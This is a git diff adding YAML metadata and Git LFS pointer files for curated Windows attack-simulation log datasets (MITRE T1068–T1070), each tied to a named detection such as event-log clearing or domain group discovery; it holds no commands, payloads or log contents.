b/datasets/attack_techniques/T1068/snapattack/snapattack-caa916a9-031e-4e4f-b3f4-2a41f95418a4.log new file mode 100644 index 000000000..a94260c53 --- /dev/null +++ b/datasets/attack_techniques/T1068/snapattack/snapattack-caa916a9-031e-4e4f-b3f4-2a41f95418a4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:799ccc5ee81115ce2e119fa58563e43f4a26a28c717c3645801ddf788339b0b7 +size 3282 diff --git a/datasets/attack_techniques/T1068/windows_escalation_behavior/T1068_windows_escalation_behavior.yml b/datasets/attack_techniques/T1068/windows_escalation_behavior/T1068_windows_escalation_behavior.yml new file mode 100644 index 000000000..53e6a3f1b --- /dev/null +++ b/datasets/attack_techniques/T1068/windows_escalation_behavior/T1068_windows_escalation_behavior.yml @@ -0,0 +1,13 @@ +author: STRT +id: 06eea7de-47e7-4611-97a7-a35fd54082cc +date: '2026-07-11' +description: Curated attack data generated for detection Windows Privilege Escalation + Suspicious Process Elevation +environment: attack_range +directory: windows_escalation_behavior +mitre_technique: [] +datasets: +- name: windows_escalation_behavior_sysmon + path: /datasets/attack_techniques/T1068/windows_escalation_behavior/windows_escalation_behavior_sysmon-06eea7de-47e7-4611-97a7-a35fd54082cc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1068/windows_escalation_behavior/windows_escalation_behavior_sysmon-06eea7de-47e7-4611-97a7-a35fd54082cc.log b/datasets/attack_techniques/T1068/windows_escalation_behavior/windows_escalation_behavior_sysmon-06eea7de-47e7-4611-97a7-a35fd54082cc.log new file mode 100644 index 000000000..782df06e0 --- /dev/null +++ b/datasets/attack_techniques/T1068/windows_escalation_behavior/windows_escalation_behavior_sysmon-06eea7de-47e7-4611-97a7-a35fd54082cc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2b1144b9641c54c9021395b7e3c39fc276f328c2d69ec3f42995155008a13292 +size 4136 diff --git a/datasets/attack_techniques/T1069.001/atomic_red_team/T1069.001_atomic_red_team.yml b/datasets/attack_techniques/T1069.001/atomic_red_team/T1069.001_atomic_red_team.yml new file mode 100644 index 000000000..31c8373d4 --- /dev/null +++ b/datasets/attack_techniques/T1069.001/atomic_red_team/T1069.001_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: 72385488-a937-4e30-864f-d4d88ae1a64c +date: '2026-07-11' +description: Curated attack data generated for detection Get WMIObject Group Discovery +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1069.001/atomic_red_team/windows-sysmon-72385488-a937-4e30-864f-d4d88ae1a64c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1069.001/atomic_red_team/windows-powershell-xml-72385488-a937-4e30-864f-d4d88ae1a64c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1069.001/atomic_red_team/windows-powershell-xml-72385488-a937-4e30-864f-d4d88ae1a64c.log b/datasets/attack_techniques/T1069.001/atomic_red_team/windows-powershell-xml-72385488-a937-4e30-864f-d4d88ae1a64c.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1069.001/atomic_red_team/windows-powershell-xml-72385488-a937-4e30-864f-d4d88ae1a64c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1069.001/atomic_red_team/windows-sysmon-72385488-a937-4e30-864f-d4d88ae1a64c.log b/datasets/attack_techniques/T1069.001/atomic_red_team/windows-sysmon-72385488-a937-4e30-864f-d4d88ae1a64c.log new file mode 100644 index 000000000..b6b30dfc9 --- /dev/null +++ b/datasets/attack_techniques/T1069.001/atomic_red_team/windows-sysmon-72385488-a937-4e30-864f-d4d88ae1a64c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4c60aaaa24381e69389afb692f14d795726f0d6595e30163e3b9a9d493355092 +size 9777 diff --git a/datasets/attack_techniques/T1069.001/njrat_admin_check/T1069.001_njrat_admin_check.yml b/datasets/attack_techniques/T1069.001/njrat_admin_check/T1069.001_njrat_admin_check.yml new file mode 100644 index 000000000..c6bed09ea --- /dev/null +++ b/datasets/attack_techniques/T1069.001/njrat_admin_check/T1069.001_njrat_admin_check.yml @@ -0,0 +1,13 @@ +author: STRT +id: f78c0b49-225c-424c-abe8-eb4a21a5a623 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Admin Permission + Discovery +environment: attack_range +directory: njrat_admin_check +mitre_technique: [] +datasets: +- name: win_dat + path: /datasets/attack_techniques/T1069.001/njrat_admin_check/win_dat-f78c0b49-225c-424c-abe8-eb4a21a5a623.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1069.001/njrat_admin_check/win_dat-f78c0b49-225c-424c-abe8-eb4a21a5a623.log b/datasets/attack_techniques/T1069.001/njrat_admin_check/win_dat-f78c0b49-225c-424c-abe8-eb4a21a5a623.log new file mode 100644 index 000000000..7723027c3 --- /dev/null +++ b/datasets/attack_techniques/T1069.001/njrat_admin_check/win_dat-f78c0b49-225c-424c-abe8-eb4a21a5a623.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:64e765299354822b3e25af2ffbc19ab8e8480f03e85fe398ac3fc7e6957d2f45 +size 1014 diff --git a/datasets/attack_techniques/T1069.002/AD_discovery/T1069.002_AD_discovery.yml b/datasets/attack_techniques/T1069.002/AD_discovery/T1069.002_AD_discovery.yml new file mode 100644 index 000000000..94f13ccbc --- /dev/null +++ b/datasets/attack_techniques/T1069.002/AD_discovery/T1069.002_AD_discovery.yml @@ -0,0 +1,25 @@ +author: STRT +id: 7b11368a-938e-404f-8a12-915627e87e21 +date: '2026-07-11' +description: Curated attack data generated for detection Domain Group Discovery With + Dsquery +environment: attack_range +directory: AD_discovery +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1069.002/AD_discovery/windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-powershell-xml-powerview + path: /datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-powerview-7b11368a-938e-404f-8a12-915627e87e21.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-7b11368a-938e-404f-8a12-915627e87e21.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: ldifde_windows-sysmon + path: /datasets/attack_techniques/T1069.002/AD_discovery/ldifde_windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1069.002/AD_discovery/ldifde_windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log b/datasets/attack_techniques/T1069.002/AD_discovery/ldifde_windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log new file mode 100644 index 000000000..235164b2a --- /dev/null +++ b/datasets/attack_techniques/T1069.002/AD_discovery/ldifde_windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:84a4489f323c85414d039863a958fc8dd01aef8b1119921b1776c0259632b3a3 +size 5918 diff --git a/datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-7b11368a-938e-404f-8a12-915627e87e21.log b/datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-7b11368a-938e-404f-8a12-915627e87e21.log new file mode 100644 index 000000000..95b6ecf9d --- /dev/null +++ b/datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-7b11368a-938e-404f-8a12-915627e87e21.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:88774ece816b55ca3392e338e40e53f4a2c4e09a1c9d3b4f2f54bbcbb431dd1b +size 1914 diff --git a/datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-powerview-7b11368a-938e-404f-8a12-915627e87e21.log b/datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-powerview-7b11368a-938e-404f-8a12-915627e87e21.log new file mode 100644 index 000000000..57b971836 --- /dev/null +++ b/datasets/attack_techniques/T1069.002/AD_discovery/windows-powershell-xml-powerview-7b11368a-938e-404f-8a12-915627e87e21.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:220b2b3442d8a40d36b9f7df074a7b7113a920b699573e2d3c520a8f9e299653 +size 247317 diff --git a/datasets/attack_techniques/T1069.002/AD_discovery/windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log b/datasets/attack_techniques/T1069.002/AD_discovery/windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log new file mode 100644 index 000000000..3b29dd85f --- /dev/null +++ b/datasets/attack_techniques/T1069.002/AD_discovery/windows-sysmon-7b11368a-938e-404f-8a12-915627e87e21.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6f63f2eac82d9a3bd2b3d7aa4d07ddfa9d3ee89a64dbbd3f7c2fbd4ae6394ab1 +size 3932 diff --git a/datasets/attack_techniques/T1069.002/domain_group_discovery_with_adsisearcher/T1069.002_domain_group_discovery_with_adsisearcher.yml b/datasets/attack_techniques/T1069.002/domain_group_discovery_with_adsisearcher/T1069.002_domain_group_discovery_with_adsisearcher.yml new file mode 100644 index 000000000..172e1f38c --- /dev/null +++ b/datasets/attack_techniques/T1069.002/domain_group_discovery_with_adsisearcher/T1069.002_domain_group_discovery_with_adsisearcher.yml @@ -0,0 +1,13 @@ +author: STRT +id: 498c639a-b375-4e17-98c6-3fc1d3bfa3b9 +date: '2026-07-10' +description: Curated attack data generated for detection Domain Group Discovery with + Adsisearcher +environment: attack_range +directory: domain_group_discovery_with_adsisearcher +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1069.002/domain_group_discovery_with_adsisearcher/windows-powershell-xml-498c639a-b375-4e17-98c6-3fc1d3bfa3b9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1069.002/domain_group_discovery_with_adsisearcher/windows-powershell-xml-498c639a-b375-4e17-98c6-3fc1d3bfa3b9.log b/datasets/attack_techniques/T1069.002/domain_group_discovery_with_adsisearcher/windows-powershell-xml-498c639a-b375-4e17-98c6-3fc1d3bfa3b9.log new file mode 100644 index 000000000..b6a9ce471 --- /dev/null +++ b/datasets/attack_techniques/T1069.002/domain_group_discovery_with_adsisearcher/windows-powershell-xml-498c639a-b375-4e17-98c6-3fc1d3bfa3b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:32edbee79db9df2970e91ca5ed745da9d899c933e3edb2d345585d783538072f +size 961 diff --git a/datasets/attack_techniques/T1070.001/suspicious_event_log_service_behavior/T1070.001_suspicious_event_log_service_behavior.yml b/datasets/attack_techniques/T1070.001/suspicious_event_log_service_behavior/T1070.001_suspicious_event_log_service_behavior.yml new file mode 100644 index 000000000..2ad374656 --- /dev/null +++ b/datasets/attack_techniques/T1070.001/suspicious_event_log_service_behavior/T1070.001_suspicious_event_log_service_behavior.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2e72b970-0566-442f-af48-ed2f03205c0b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Event Logging Service + Has Shutdown +environment: attack_range +directory: suspicious_event_log_service_behavior +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1070.001/suspicious_event_log_service_behavior/windows-xml-2e72b970-0566-442f-af48-ed2f03205c0b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1070.001/suspicious_event_log_service_behavior/windows-xml-2e72b970-0566-442f-af48-ed2f03205c0b.log b/datasets/attack_techniques/T1070.001/suspicious_event_log_service_behavior/windows-xml-2e72b970-0566-442f-af48-ed2f03205c0b.log new file mode 100644 index 000000000..13603684e --- /dev/null +++ b/datasets/attack_techniques/T1070.001/suspicious_event_log_service_behavior/windows-xml-2e72b970-0566-442f-af48-ed2f03205c0b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:11f1ad21672c3341b1d09766e27dd031263f7504279750be7c248ea7ff80e179 +size 10030 diff --git a/datasets/attack_techniques/T1070.001/suspicious_kerberos_service_ticket_request/T1070.001_suspicious_kerberos_service_ticket_request.yml b/datasets/attack_techniques/T1070.001/suspicious_kerberos_service_ticket_request/T1070.001_suspicious_kerberos_service_ticket_request.yml new file mode 100644 index 000000000..95b51608b --- /dev/null +++ b/datasets/attack_techniques/T1070.001/suspicious_kerberos_service_ticket_request/T1070.001_suspicious_kerberos_service_ticket_request.yml @@ -0,0 +1,13 @@ +author: STRT +id: e87b099a-5215-4ce0-b129-a095051a3014 +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious Kerberos Service + Ticket Request +environment: attack_range +directory: suspicious_kerberos_service_ticket_request +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1070.001/suspicious_kerberos_service_ticket_request/windows-xml-e87b099a-5215-4ce0-b129-a095051a3014.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1070.001/suspicious_kerberos_service_ticket_request/windows-xml-e87b099a-5215-4ce0-b129-a095051a3014.log b/datasets/attack_techniques/T1070.001/suspicious_kerberos_service_ticket_request/windows-xml-e87b099a-5215-4ce0-b129-a095051a3014.log new file mode 100644 index 000000000..21e97e651 --- /dev/null +++ b/datasets/attack_techniques/T1070.001/suspicious_kerberos_service_ticket_request/windows-xml-e87b099a-5215-4ce0-b129-a095051a3014.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b5accc7e16fb3cda3fe214b45a801420d897b4568298e34adc51e6d7490c0012 +size 1106 diff --git a/datasets/attack_techniques/T1070.001/windows_event_log_cleared/T1070.001_windows_event_log_cleared.yml b/datasets/attack_techniques/T1070.001/windows_event_log_cleared/T1070.001_windows_event_log_cleared.yml new file mode 100644 index 000000000..712efa404 --- /dev/null +++ b/datasets/attack_techniques/T1070.001/windows_event_log_cleared/T1070.001_windows_event_log_cleared.yml @@ -0,0 +1,16 @@ +author: STRT +id: 5839375e-a2e6-4d21-908b-c8802e54682d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Event Log Cleared +environment: attack_range +directory: windows_event_log_cleared +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-security-5839375e-a2e6-4d21-908b-c8802e54682d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: windows-system + path: /datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-system-5839375e-a2e6-4d21-908b-c8802e54682d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-security-5839375e-a2e6-4d21-908b-c8802e54682d.log b/datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-security-5839375e-a2e6-4d21-908b-c8802e54682d.log new file mode 100644 index 000000000..d7f703117 --- /dev/null +++ b/datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-security-5839375e-a2e6-4d21-908b-c8802e54682d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fd483a9c03b1cf5b10b4cc8b1500abd782da334647e93db61edee7f7040dce87 +size 878 diff --git a/datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-system-5839375e-a2e6-4d21-908b-c8802e54682d.log b/datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-system-5839375e-a2e6-4d21-908b-c8802e54682d.log new file mode 100644 index 000000000..d65063e98 --- /dev/null +++ b/datasets/attack_techniques/T1070.001/windows_event_log_cleared/windows-system-5839375e-a2e6-4d21-908b-c8802e54682d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5e5298e558860f09a89cf1a503e34d3412f2e4a6dbeb312ec44282f383d96e6f +size 878 diff --git a/datasets/attack_techniques/T1070.001/windows_pwh_log_cleared/T1070.001_windows_pwh_log_cleared.yml b/datasets/attack_techniques/T1070.001/windows_pwh_log_cleared/T1070.001_windows_pwh_log_cleared.yml new file mode 100644 index 000000000..bb969b9d9 --- /dev/null +++ b/datasets/attack_techniques/T1070.001/windows_pwh_log_cleared/T1070.001_windows_pwh_log_cleared.yml @@ -0,0 +1,12 @@ +author: STRT +id: 1dcf8cf9-7195-4bd1-8d02-ffec2c1c3d85 +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious wevtutil Usage +environment: attack_range +directory: windows_pwh_log_cleared +mitre_technique: [] +datasets: +- name: wevtutil_clear_log + path: /datasets/attack_techniques/T1070.001/windows_pwh_log_cleared/wevtutil_clear_log-1dcf8cf9-7195-4bd1-8d02-ffec2c1c3d85.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070.001/windows_pwh_log_cleared/wevtutil_clear_log-1dcf8cf9-7195-4bd1-8d02-ffec2c1c3d85.log b/datasets/attack_techniques/T1070.001/windows_pwh_log_cleared/wevtutil_clear_log-1dcf8cf9-7195-4bd1-8d02-ffec2c1c3d85.log new file mode 100644 index 000000000..81f0ceb63 --- /dev/null +++ b/datasets/attack_techniques/T1070.001/windows_pwh_log_cleared/wevtutil_clear_log-1dcf8cf9-7195-4bd1-8d02-ffec2c1c3d85.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:11d000b33941f16648ce595b2c767c88bc7a54cacd9ad16ffabde30ee39d3857 +size 2016 diff --git a/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/HistorySavePath_powershell-836ca047-93f3-4546-b4c2-60ec0712bf93.log b/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/HistorySavePath_powershell-836ca047-93f3-4546-b4c2-60ec0712bf93.log new file mode 100644 index 000000000..72fb07b86 --- /dev/null +++ b/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/HistorySavePath_powershell-836ca047-93f3-4546-b4c2-60ec0712bf93.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7c73558096c79fef5085f9603606fb2dcd84e2f947db6575e92a63f1524407a4 +size 3825 diff --git a/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/T1070.003_ConsoleHost_History_deletion.yml b/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/T1070.003_ConsoleHost_History_deletion.yml new file mode 100644 index 000000000..a8968bf40 --- /dev/null +++ b/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/T1070.003_ConsoleHost_History_deletion.yml @@ -0,0 +1,17 @@ +author: STRT +id: 836ca047-93f3-4546-b4c2-60ec0712bf93 +date: '2026-07-11' +description: Curated attack data generated for detection Windows ConsoleHost History + File Deletion +environment: attack_range +directory: ConsoleHost_History_deletion +mitre_technique: [] +datasets: +- name: delete_pwh_history_file + path: /datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/delete_pwh_history_file-836ca047-93f3-4546-b4c2-60ec0712bf93.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: HistorySavePath_powershell + path: /datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/HistorySavePath_powershell-836ca047-93f3-4546-b4c2-60ec0712bf93.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/delete_pwh_history_file-836ca047-93f3-4546-b4c2-60ec0712bf93.log b/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/delete_pwh_history_file-836ca047-93f3-4546-b4c2-60ec0712bf93.log new file mode 100644 index 000000000..91c354d56 --- /dev/null +++ b/datasets/attack_techniques/T1070.003/ConsoleHost_History_deletion/delete_pwh_history_file-836ca047-93f3-4546-b4c2-60ec0712bf93.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:be5b6850302e520c21383885e395e59e4e5a09c64333d644a501e5f9cb9e721f +size 1323 diff --git a/datasets/attack_techniques/T1070.004/automatic_file_deleted/T1070.004_automatic_file_deleted.yml b/datasets/attack_techniques/T1070.004/automatic_file_deleted/T1070.004_automatic_file_deleted.yml new file mode 100644 index 000000000..be12abd4b --- /dev/null +++ b/datasets/attack_techniques/T1070.004/automatic_file_deleted/T1070.004_automatic_file_deleted.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1480f4a7-6d09-4f82-9b28-1bcf080feb29 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rdp AutomaticDestinations + Deletion +environment: attack_range +directory: automatic_file_deleted +mitre_technique: [] +datasets: +- name: automatic_file_deleted + path: /datasets/attack_techniques/T1070.004/automatic_file_deleted/automatic_file_deleted-1480f4a7-6d09-4f82-9b28-1bcf080feb29.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070.004/automatic_file_deleted/automatic_file_deleted-1480f4a7-6d09-4f82-9b28-1bcf080feb29.log b/datasets/attack_techniques/T1070.004/automatic_file_deleted/automatic_file_deleted-1480f4a7-6d09-4f82-9b28-1bcf080feb29.log new file mode 100644 index 000000000..c26204f0b --- /dev/null +++ b/datasets/attack_techniques/T1070.004/automatic_file_deleted/automatic_file_deleted-1480f4a7-6d09-4f82-9b28-1bcf080feb29.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f9c8d1b18a31990e5a0b741f8624e92b90b7733db2be3e3c84fb3a27fbc87e37 +size 2634 diff --git a/datasets/attack_techniques/T1070.004/bmc_file_deleted/T1070.004_bmc_file_deleted.yml b/datasets/attack_techniques/T1070.004/bmc_file_deleted/T1070.004_bmc_file_deleted.yml new file mode 100644 index 000000000..7387227d3 --- /dev/null +++ b/datasets/attack_techniques/T1070.004/bmc_file_deleted/T1070.004_bmc_file_deleted.yml @@ -0,0 +1,12 @@ +author: STRT +id: 794a35f3-fda1-4268-8465-a7c4dc832093 +date: '2026-07-11' +description: Curated attack data generated for detection Windows RDP Cache File Deletion +environment: attack_range +directory: bmc_file_deleted +mitre_technique: [] +datasets: +- name: bmc_file_deleted + path: /datasets/attack_techniques/T1070.004/bmc_file_deleted/bmc_file_deleted-794a35f3-fda1-4268-8465-a7c4dc832093.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070.004/bmc_file_deleted/bmc_file_deleted-794a35f3-fda1-4268-8465-a7c4dc832093.log b/datasets/attack_techniques/T1070.004/bmc_file_deleted/bmc_file_deleted-794a35f3-fda1-4268-8465-a7c4dc832093.log new file mode 100644 index 000000000..adf472315 --- /dev/null +++ b/datasets/attack_techniques/T1070.004/bmc_file_deleted/bmc_file_deleted-794a35f3-fda1-4268-8465-a7c4dc832093.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:87240fa72a24d0bc31599feee506289d25eade037e565ad7ab58cd38a5bf0f99 +size 1278 diff --git a/datasets/attack_techniques/T1070.004/rdp_deletion/T1070.004_rdp_deletion.yml b/datasets/attack_techniques/T1070.004/rdp_deletion/T1070.004_rdp_deletion.yml new file mode 100644 index 000000000..b4d14a082 --- /dev/null +++ b/datasets/attack_techniques/T1070.004/rdp_deletion/T1070.004_rdp_deletion.yml @@ -0,0 +1,13 @@ +author: STRT +id: fea8b41d-2a3b-47e1-b6fb-de197eb25690 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Default Rdp File + Deletion +environment: attack_range +directory: rdp_deletion +mitre_technique: [] +datasets: +- name: rdp_file_deleted + path: /datasets/attack_techniques/T1070.004/rdp_deletion/rdp_file_deleted-fea8b41d-2a3b-47e1-b6fb-de197eb25690.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070.004/rdp_deletion/rdp_file_deleted-fea8b41d-2a3b-47e1-b6fb-de197eb25690.log b/datasets/attack_techniques/T1070.004/rdp_deletion/rdp_file_deleted-fea8b41d-2a3b-47e1-b6fb-de197eb25690.log new file mode 100644 index 000000000..9d5960b5f --- /dev/null +++ b/datasets/attack_techniques/T1070.004/rdp_deletion/rdp_file_deleted-fea8b41d-2a3b-47e1-b6fb-de197eb25690.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:25af6d9241545d5923e6153b0b12bb52ca0b590abdfa3623ca3e9036572ad4d9 +size 2470 diff --git a/datasets/attack_techniques/T1070.004/terminal_server_reg_deleted/T1070.004_terminal_server_reg_deleted.yml b/datasets/attack_techniques/T1070.004/terminal_server_reg_deleted/T1070.004_terminal_server_reg_deleted.yml new file mode 100644 index 000000000..99ac43bd1 --- /dev/null +++ b/datasets/attack_techniques/T1070.004/terminal_server_reg_deleted/T1070.004_terminal_server_reg_deleted.yml @@ -0,0 +1,13 @@ +author: STRT +id: 46538d1d-3fba-49d9-a5e8-0ca36c3c7ab9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows RDP Server Registry + Deletion +environment: attack_range +directory: terminal_server_reg_deleted +mitre_technique: [] +datasets: +- name: terminal_server_client_reg_deleted + path: /datasets/attack_techniques/T1070.004/terminal_server_reg_deleted/terminal_server_client_reg_deleted-46538d1d-3fba-49d9-a5e8-0ca36c3c7ab9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070.004/terminal_server_reg_deleted/terminal_server_client_reg_deleted-46538d1d-3fba-49d9-a5e8-0ca36c3c7ab9.log b/datasets/attack_techniques/T1070.004/terminal_server_reg_deleted/terminal_server_client_reg_deleted-46538d1d-3fba-49d9-a5e8-0ca36c3c7ab9.log new file mode 100644 index 000000000..c35c288c4 --- /dev/null +++ b/datasets/attack_techniques/T1070.004/terminal_server_reg_deleted/terminal_server_client_reg_deleted-46538d1d-3fba-49d9-a5e8-0ca36c3c7ab9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2b845cb7c2e1e4b28f02115a0ba979641e4d27f0227b16f7dc86d99efd03bae2 +size 1089 diff --git a/datasets/attack_techniques/T1070.005/atomic_red_team/T1070.005_atomic_red_team.yml b/datasets/attack_techniques/T1070.005/atomic_red_team/T1070.005_atomic_red_team.yml new file mode 100644 index 000000000..83799fde9 --- /dev/null +++ b/datasets/attack_techniques/T1070.005/atomic_red_team/T1070.005_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: d76d27f3-f9a6-4d6b-be49-6fe411ae2462 +date: '2026-07-10' +description: Curated attack data generated for detection Create or delete windows + shares using net exe +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1070.005/atomic_red_team/windows-sysmon-d76d27f3-f9a6-4d6b-be49-6fe411ae2462.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070.005/atomic_red_team/windows-sysmon-d76d27f3-f9a6-4d6b-be49-6fe411ae2462.log b/datasets/attack_techniques/T1070.005/atomic_red_team/windows-sysmon-d76d27f3-f9a6-4d6b-be49-6fe411ae2462.log new file mode 100644 index 000000000..12ba1dd56 --- /dev/null +++ b/datasets/attack_techniques/T1070.005/atomic_red_team/windows-sysmon-d76d27f3-f9a6-4d6b-be49-6fe411ae2462.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:81e7a71465a8fb78fd97b3bb12d5bd669ec01047de93bdccff28764b61adc26f +size 3938 diff --git a/datasets/attack_techniques/T1070/atomic_red_team/T1070_atomic_red_team.yml b/datasets/attack_techniques/T1070/atomic_red_team/T1070_atomic_red_team.yml new file mode 100644 index 000000000..a745bad51 --- /dev/null +++ b/datasets/attack_techniques/T1070/atomic_red_team/T1070_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: 28bb78a0-133b-496b-9049-34a6c33a899f +date: '2026-07-11' +description: Curated attack data generated for detection USN Journal Deletion +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: 